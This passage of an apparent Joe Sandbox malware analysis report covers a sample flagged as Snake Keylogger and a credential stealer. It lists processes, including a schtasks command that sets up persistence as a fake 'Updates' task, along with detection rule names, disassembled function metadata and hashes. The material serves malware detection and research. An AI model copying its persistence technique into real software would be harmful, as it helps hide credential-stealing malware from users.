00000007.00000002.1743871587.00000000043AA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000007.00000002.1743871587.00000000043AA000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs Detection: 36%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:56:58
Start date:	14/01/2025
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:56:58
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nDVstwLnVvg" /XML "C:\Users\user\AppData\Local\Temp\tmp1DC0.tmp"
Imagebase:	0x450000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:56:58
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:56:59
Start date:	14/01/2025
Path:	C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe"
Imagebase:	0x180000
File size:	578'056 bytes
MD5 hash:	E10205715F674C1E004C6DBFCED1D278
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:56:59
Start date:	14/01/2025
Path:	C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\nDVstwLnVvg.exe"
Imagebase:	0xbd0000
File size:	578'056 bytes
MD5 hash:	E10205715F674C1E004C6DBFCED1D278
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.2908519169.00000000031F3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.8%
Dynamic/Decrypted Code Coverage:	97.5%
Signature Coverage:	0%
Total number of Nodes:	122
Total number of Limit Nodes:	12

Executed Functions

Function 00EB7018 Relevance: 1.4, Strings: 1, Instructions: 179COMMON

Download Yara Rule

Strings

Pp^q, xrefs: 00EB71F1

Memory Dump Source

Source File: 00000000.00000002.1708144035.0000000000EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_MB263350411AE_1.jbxd

Similarity

API ID:
String ID: Pp^q
API String ID: 0-3179448734
Opcode ID: 5164ac3be85aa30ac0143de052fa3bdbb45a542e92fcaf232c674273f26cbbd9
Instruction ID: 5a65763a82c88f2b22fec6d2e45c27e92f2da5eab5b9ec8f80b9763d5e8304b7
Opcode Fuzzy Hash: 5164ac3be85aa30ac0143de052fa3bdbb45a542e92fcaf232c674273f26cbbd9
Instruction Fuzzy Hash: 17818374E002089FDB15DFA9D981ADEBBF6FF88300F209529E419AB365DB306946CF50

Function 00EB4204 Relevance: 1.4, Strings: 1, Instructions: 176COMMON

Download Yara Rule

Strings

Pp^q, xrefs: 00EB71F1

Memory Dump Source

Source File: 00000000.00000002.1708144035.0000000000EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_MB263350411AE_1.jbxd

Similarity

API ID:
String ID: Pp^q
API String ID: 0-3179448734
Opcode ID: 158fe9a6fcc3e1310de26ab0562682853513c5bce85b10996e21e0419c5f8bf7
Instruction ID: 62773041f5dbe5afce7c6f30ecbe4997ff41c3f0c68a37177e69bfdb09972b0b
Opcode Fuzzy Hash: 158fe9a6fcc3e1310de26ab0562682853513c5bce85b10996e21e0419c5f8bf7
Instruction Fuzzy Hash: 48816274E002089FDB54DFA9D984ADEBBF6FF88300F209529E419AB365DB319945CF50

Function 074C3288 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1715292294.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_74c0000_MB263350411AE_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcd4afddb3766892d05770fff4ee3e1f4ff0d361980effc5de95d360695a13bb
Instruction ID: a8141a8027e1daff5a6f2c421b01e30fdf0311ec74851d16632fe3a2fea4e570
Opcode Fuzzy Hash: fcd4afddb3766892d05770fff4ee3e1f4ff0d361980effc5de95d360695a13bb
Instruction Fuzzy Hash: AC8125B5D44229CBDB64CF66C8407E9BBB6AF8A300F10C1EAD40DAA250EB705A85CF41

Function 074C384C Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1715292294.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_74c0000_MB263350411AE_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0a3bb7a08a1a668f7af722083fa88b06e9ea4a748c72595f315a8f1351dbfc0
Instruction ID: f14eb1a81d9cd560041ce70c474913dd1f8f301f3a782ff447f76ca0e8ce12f7
Opcode Fuzzy Hash: e0a3bb7a08a1a668f7af722083fa88b06e9ea4a748c72595f315a8f1351dbfc0
Instruction Fuzzy Hash: 09E0ECB886D254CFC781DF50DC555F9BBBC9B0B310F01A59ED009AB262DA308985CA16

Function 074C3B75 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1715292294.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_74c0000_MB263350411AE_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eff49908ad8b6fc35a591ca9fa333090f6bbd1b752c970cae1459a817ed8bb3e
Instruction ID: 1d70f34cda437576480ac86109dcc1a8c6e28b13752b38fddce3783982065b5a
Opcode Fuzzy Hash: eff49908ad8b6fc35a591ca9fa333090f6bbd1b752c970cae1459a817ed8bb3e
Instruction Fuzzy Hash: FBD0C7FCC6D114CFC7C1EE60DC952F5B67C971B305F04B89E9409A7201D9318881CB19

Function 00EBB3C1 Relevance: 1.7, APIs: 1, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00EBB626

Memory Dump Source

Source File: 00000000.00000002.1708144035.0000000000EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_MB263350411AE_1.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 75d6d9f36afeb821e004cba1b2dfe50172036acbd5ccc0730f53f158ae8cc845
Instruction ID: 264394c4c4d325afe7bed49ca6bb69b75475a668368e6a8aa55f825d9b466a3e
Opcode Fuzzy Hash: 75d6d9f36afeb821e004cba1b2dfe50172036acbd5ccc0730f53f158ae8cc845
Instruction Fuzzy Hash: 65814370A00B458FD724DF29D0417ABBBF2FF88304F008929E49AE7A51E7B4E945CB91

Function 00EB590C Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00EB59C9

Memory Dump Source

Source File: 00000000.00000002.1708144035.0000000000EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_MB263350411AE_1.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: a0aea8129305e949561a071f5914b6f147f270fef3c0915770fccc3a2ba80eb2
Instruction ID: 5ada9d59e5647a7399f2f78f53e94598a2a0fc34a15f842c69e0ffc07e47511b
Opcode Fuzzy Hash: a0aea8129305e949561a071f5914b6f147f270fef3c0915770fccc3a2ba80eb2
Instruction Fuzzy Hash: 714113B1C00719DBDB24DFA9C884BCEBBB5BF89308F20816AD418BB251DB756945CF90

Function 00EB44F0 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00EB59C9

Memory Dump Source

Source File: 00000000.00000002.1708144035.0000000000EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_MB263350411AE_1.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 8c13eda0fed25115028593514f6e9de10e547477d05e0c950cb811b1046979ef
Instruction ID: 728c6aa8b148b8a17c9bebd2b1539d68430196a597e29fa1b099322a6a94bf63
Opcode Fuzzy Hash: 8c13eda0fed25115028593514f6e9de10e547477d05e0c950cb811b1046979ef
Instruction Fuzzy Hash: F341F1B1C00719CBDB24DFA9C884BDEBBB5BF89304F20806AD408BB255DB75A945CF90

Function 04FBC04C Relevance: 1.6, APIs: 1, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,04FBD3FD,?,?), ref: 04FBD4AF

Memory Dump Source

Source File: 00000000.00000002.1711608078.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_MB263350411AE_1.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 43ecd8f1fedadbdce19deec7a13061f5f7df90242539c3592ce06718b227a076
Instruction ID: c10ae41ee15643842c76ea896221069de9500ad933c234def20e1122f5186e40
Opcode Fuzzy Hash: 43ecd8f1fedadbdce19deec7a13061f5f7df90242539c3592ce06718b227a076
Instruction Fuzzy Hash: C231EEB5D002099FDB10CF9AD884AEEFBF5EB48320F14842AE959A7210D774A945CFA1

Function 04FBD410 Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,04FBD3FD,?,?), ref: 04FBD4AF

Memory Dump Source

Source File: 00000000.00000002.1711608078.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4fb0000_MB263350411AE_1.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: efcf8a106ffbd5c840f57ea6491d7318b2b81cc382f99e6c7f09b3bd1fd95fcc
Instruction ID: 2427f26fd9ad7e6ab8193c52b4cdba2f7beaae3581e3035251e0c5e5e30bee76
Opcode Fuzzy Hash: efcf8a106ffbd5c840f57ea6491d7318b2b81cc382f99e6c7f09b3bd1fd95fcc
Instruction Fuzzy Hash: 7C31EEB5D002099FDB10CF9AD984AEEFBF5BB48320F14842AE959A7310D375A945CFA1

Function 00EBB3B0 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00EBD586,?,?,?,?,?), ref: 00EBDA4F

Memory Dump Source

Source File: 00000000.00000002.1708144035.0000000000EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_MB263350411AE_1.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: cd5a0e5152c733c2769103f466e87e566d9d260d9995a81aca3c31aef351c64b
Instruction ID: 6a1b5e64533caedbe7c3b9dbbe00cefa1c94898da13bc1c3866eedc497d6eac2
Opcode Fuzzy Hash: cd5a0e5152c733c2769103f466e87e566d9d260d9995a81aca3c31aef351c64b
Instruction Fuzzy Hash: 1821D4B5904208AFDB10CF99D984AEEBFF5EB48314F14841AE918B7250D374A940CFA4

Function 00EBD9C1 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00EBD586,?,?,?,?,?), ref: 00EBDA4F

Memory Dump Source

Source File: 00000000.00000002.1708144035.0000000000EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_MB263350411AE_1.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: dcb6682056b64e6ed3fb86cecbf5409405ffff71859bb7eeaaedc4fa3666272c
Instruction ID: d66fc1f5baac6e81cb29d8710c2d59496f1e71d493850d9901656aeb2cbf73e0
Opcode Fuzzy Hash: dcb6682056b64e6ed3fb86cecbf5409405ffff71859bb7eeaaedc4fa3666272c
Instruction Fuzzy Hash: 2121E3B59002589FDB10CF9AD985AEEFFF4EB48314F14801AE918A3310D374A954CFA5

Function 074C07F8 Relevance: 1.5, APIs: 1, Instructions: 47
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 074C44CD

Memory Dump Source

Source File: 00000000.00000002.1715292294.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_74c0000_MB263350411AE_1.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: acbdd18789374d2878363effae27a4dbf5eece65011f79de790920aa90172eb1
Instruction ID: 120e400cd72cf3d47da6affcd4459e815b4953e225dd0178fb5ca357e637947e
Opcode Fuzzy Hash: acbdd18789374d2878363effae27a4dbf5eece65011f79de790920aa90172eb1
Instruction Fuzzy Hash: 5F11F5B58003499FDB10DF99D545BDEFFF8EB48314F20881AE558A7200C375A944CFA5

Function 00EBB5C0 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00EBB626

Memory Dump Source

Source File: 00000000.00000002.1708144035.0000000000EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_MB263350411AE_1.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 737b9117c367e637b4151966f3dd4fe523fdc0ef0e23475c12f8a4d759bd48d5
Instruction ID: fe4b3297bd0005e3d68bf7fda51cd8e95d8442c76172f250442d9e16df822d03
Opcode Fuzzy Hash: 737b9117c367e637b4151966f3dd4fe523fdc0ef0e23475c12f8a4d759bd48d5
Instruction Fuzzy Hash: 4A110FB5C003498FDB10DF9AC844ADEFBF4AB88324F10842AD418B7210C3B5A945CFA5

Function 074C4469 Relevance: 1.5, APIs: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 074C44CD

Memory Dump Source

Source File: 00000000.00000002.1715292294.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_74c0000_MB263350411AE_1.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 32ad83ef541602cf78af71eb076a136beaa560d0eb03b5ff992914e66bb8feef
Instruction ID: a2c61ad7861dc18a3f06aec6de211d9f0d2e9f1b25e90fa31bfa8bcf0d3142ed
Opcode Fuzzy Hash: 32ad83ef541602cf78af71eb076a136beaa560d0eb03b5ff992914e66bb8feef
Instruction Fuzzy Hash: 2411F2B98002599FDB10DF99C548BDEFFF4EB48314F24841AE558A7310C374A644CFA4

Function 00C1D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702284543.0000000000C1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1d000_MB263350411AE_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d3103d136bbafbf74e7c970b533f2f9dfb7620fa4b66dcd0671dd854d07f4e6
Instruction ID: 369bbfef46d98731bc576a44d0ef162b7f3990b46f4458bafc00bfb04384728c
Opcode Fuzzy Hash: 0d3103d136bbafbf74e7c970b533f2f9dfb7620fa4b66dcd0671dd854d07f4e6
Instruction Fuzzy Hash: D62137B1500240DFCB05DF14D9C0B67BF66FB99318F20C569E80A0B256C336D996EBB2

Function 00C1D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702284543.0000000000C1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1d000_MB263350411AE_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a34f369274b08296f5e3acbaf823b9170e0504e73e75a2fc90330c3c9e9567a
Instruction ID: 350def7224421c19b6e7454dc20321a81218acf99e23442d4d599367bfa65c3c
Opcode Fuzzy Hash: 5a34f369274b08296f5e3acbaf823b9170e0504e73e75a2fc90330c3c9e9567a
Instruction Fuzzy Hash: 3C213771500204DFDB05DF14D9C0B67BF65FB99324F20C569E90B4B256C33AE896EBA2

Function 00C2D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702360820.0000000000C2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c2d000_MB263350411AE_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46a03369d9443ec8be774f5c4b0546da155d1c362072930f4419e8d689ab3d31
Instruction ID: d776403412aa3bf6cdbf30d0034e27b36ea327f36a9bc4dd75c55cac7735b477
Opcode Fuzzy Hash: 46a03369d9443ec8be774f5c4b0546da155d1c362072930f4419e8d689ab3d31
Instruction Fuzzy Hash: C7212671504200EFDB05DF14E9C4B26BBA5FBA4314F30C6ADE80A4B696C736DC46CA61

Function 00C2D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702360820.0000000000C2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c2d000_MB263350411AE_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a64ba122855dc905ff3766113eeb746abbc6cb599373478db00106231b2e3d3d
Instruction ID: bfbf37e739df3bf6fd92bc7939412c357f6cbb521e95f4c53d2518e94d4880c5
Opcode Fuzzy Hash: a64ba122855dc905ff3766113eeb746abbc6cb599373478db00106231b2e3d3d
Instruction Fuzzy Hash: F1210475604340DFCB14DF14E9C4B26BFA5FBA4314F20C56DE94A4B6A6C33AD847CA61

Function 00C2D005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702360820.0000000000C2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c2d000_MB263350411AE_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 681d862e5f6a7238d7164e83e82103321cf3d3ed21cbada4e01b9e2955c893b4
Instruction ID: 869b896d2e9d7e51b443c79ddc5c493e896aea05045b8da22358b0785fa44989
Opcode Fuzzy Hash: 681d862e5f6a7238d7164e83e82103321cf3d3ed21cbada4e01b9e2955c893b4
Instruction Fuzzy Hash: 10218E755093808FCB12CF24D994715BF71EB56314F28C5EAD8498F6A7C33A980ACB62

Function 00C1D3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702284543.0000000000C1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1d000_MB263350411AE_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 8f18f8e8cd3284b55f4f7bb72c4edd17179fbc3f3ef602ac2092593e25ab68b7
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 11112672404240CFCB16CF00D5C4B56BF71FB94324F24C6A9DC0A0B256C33AE99ADBA1

Function 00C1D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702284543.0000000000C1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1d000_MB263350411AE_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: d9b5052920e4393c64d6d8f920ad9d2e18fb67167e53715be6598262965ffd75
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: EA1103B2404280CFCB06CF10D5C4B56BF72FB94318F24C6A9D80A0B256C336D99ADBA1

Function 00C2D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702360820.0000000000C2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c2d000_MB263350411AE_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: d28ce6e36912f8e1a4b77c392d77eafa9370a906b8517ebcfe355023d1fd74b2
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 8A11BB75504280DFDB02CF10D5C4B15BBA1FB94314F24C6AAD84A4B696C33AD84ACB61

Non-executed Functions

Function 074C64F0 Relevance: .4, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1715292294.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_74c0000_MB263350411AE_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89181fd3971aa17bc4746b4651b723d2625da3f767edc66382b3d4270f780d8f
Instruction ID: d073f377b5337770d2f7af62173cedd432aed35b9920c58841738ca8f7930317
Opcode Fuzzy Hash: 89181fd3971aa17bc4746b4651b723d2625da3f767edc66382b3d4270f780d8f
Instruction Fuzzy Hash: F0D1DAB4B016059FEB55EB76C4107AFB7F6AF89300F1684AED045AB391DB35E801CB52

Function 00EBD8EC Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1708144035.0000000000EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eb0000_MB263350411AE_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7465dd678dd066f9f1472f0b9f9687c1b6a39e748c5f38bc9953682d68ae087
Instruction ID: 4f0e0070b38ebe2e0a01a78b698f7f8ca46326bba35d39748ac5910552d66c19
Opcode Fuzzy Hash: a7465dd678dd066f9f1472f0b9f9687c1b6a39e748c5f38bc9953682d68ae087
Instruction Fuzzy Hash: 5FA14B32E002198FCF09DFA4C8505EEB7B2FF85304B25957AE905BB265EB71E955CB40

Function 074C3278 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1715292294.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_74c0000_MB263350411AE_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf55d9398bdb17a60ed44bc12f1d55dbe162144a9520e5ac27a82e414e7ce142
Instruction ID: 4304702ca5481d5a4448e9f85777bc51ba014ad5f18b1f697135d75f7652e973
Opcode Fuzzy Hash: bf55d9398bdb17a60ed44bc12f1d55dbe162144a9520e5ac27a82e414e7ce142
Instruction Fuzzy Hash: C321FDB5D056288BEB68CF679C043DDFAF7AFC9301F04D1BAC40CA6215DB340A868E51

Analysis Process: MB263350411AE_1.scr.exePID: 7768, Parent PID: 7428COMMON

Executed Functions

Function 054ABC60 Relevance: 12.1, Strings: 9, Instructions: 885COMMON

Download Yara Rule

Strings

(o^q, xrefs: 054AC15F
(o^q, xrefs: 054AC221
,bq, xrefs: 054AC0F0
(o^q, xrefs: 054ABD49
(o^q, xrefs: 054AC16F
(o^q, xrefs: 054ABC8E
,bq, xrefs: 054AC100
(o^q, xrefs: 054ABD75
(o^q, xrefs: 054ABE12

Memory Dump Source

Source File: 00000006.00000002.2911193924.00000000054A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_54a0000_MB263350411AE_1.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$(o^q$(o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-2735749406
Opcode ID: b07c9dcfd20555aef90e2290bd6455016018562b3007649d2b8090b8d281d68e
Instruction ID: 72aa2ab496b9a3f412168a66fe06756f015022d096f17ae75daf4e08f00358ec
Opcode Fuzzy Hash: b07c9dcfd20555aef90e2290bd6455016018562b3007649d2b8090b8d281d68e
Instruction Fuzzy Hash: D8823A36A04209DFCB95CF68C984AAEBBF2BF58304F158596F516AB361D730ED81CB50

Function 054AAF00 Relevance: 9.6, Strings: 7, Instructions: 896COMMON

Download Yara Rule

Strings

Hbq, xrefs: 054AB302
,bq, xrefs: 054AB7EA
(o^q, xrefs: 054AB436
(o^q, xrefs: 054AB780
,bq, xrefs: 054AB7F8
(o^q, xrefs: 054ABA9D
(o^q, xrefs: 054AB772

Memory Dump Source

Source File: 00000006.00000002.2911193924.00000000054A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_54a0000_MB263350411AE_1.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$(o^q$,bq$,bq$Hbq
API String ID: 0-1608600535
Opcode ID: 92ba4b01844912a95d643fb8b015f7d5b944d015afe501d659c97a5515ddacf0
Instruction ID: fc37967056011d01fe54eaacf1f13591ee7277c6033a01d5e6d08a69262f32dd
Opcode Fuzzy Hash: 92ba4b01844912a95d643fb8b015f7d5b944d015afe501d659c97a5515ddacf0
Instruction Fuzzy Hash: 7B726F71A002199FCB54DF69C894AEEBBB6FF98300F14856AE805AB3A5DB30DD45CB50

Function 00DFC530 Relevance: 4.3, Strings: 1, Instructions: 3069COMMON

Download Yara Rule

Strings

N, xrefs: 00DFF910

Memory Dump Source

Source File: 00000006.00000002.2906422903.0000000000DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_df0000_MB263350411AE_1.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: 1802873f2da1ef985b2db988a9c81f026dbd9a201f7b9432b2f1bd0230b62fee
Instruction ID: b812b41b88d264eb534ad38b374a1aa2bec943dba03ec38c66805cf29e72a2fc
Opcode Fuzzy Hash: 1802873f2da1ef985b2db988a9c81f026dbd9a201f7b9432b2f1bd0230b62fee
Instruction Fuzzy Hash: 3F73E731D1075A8ECB11EF68C854AADFBB1FF99300F15D69AE44867221EB70AAC4CF51

Function 00DF27B9 Relevance: 3.2, Strings: 2, Instructions: 695COMMON

Download Yara Rule

Strings

Xbq, xrefs: 00DF2CBE
Xbq, xrefs: 00DF2C95

Memory Dump Source

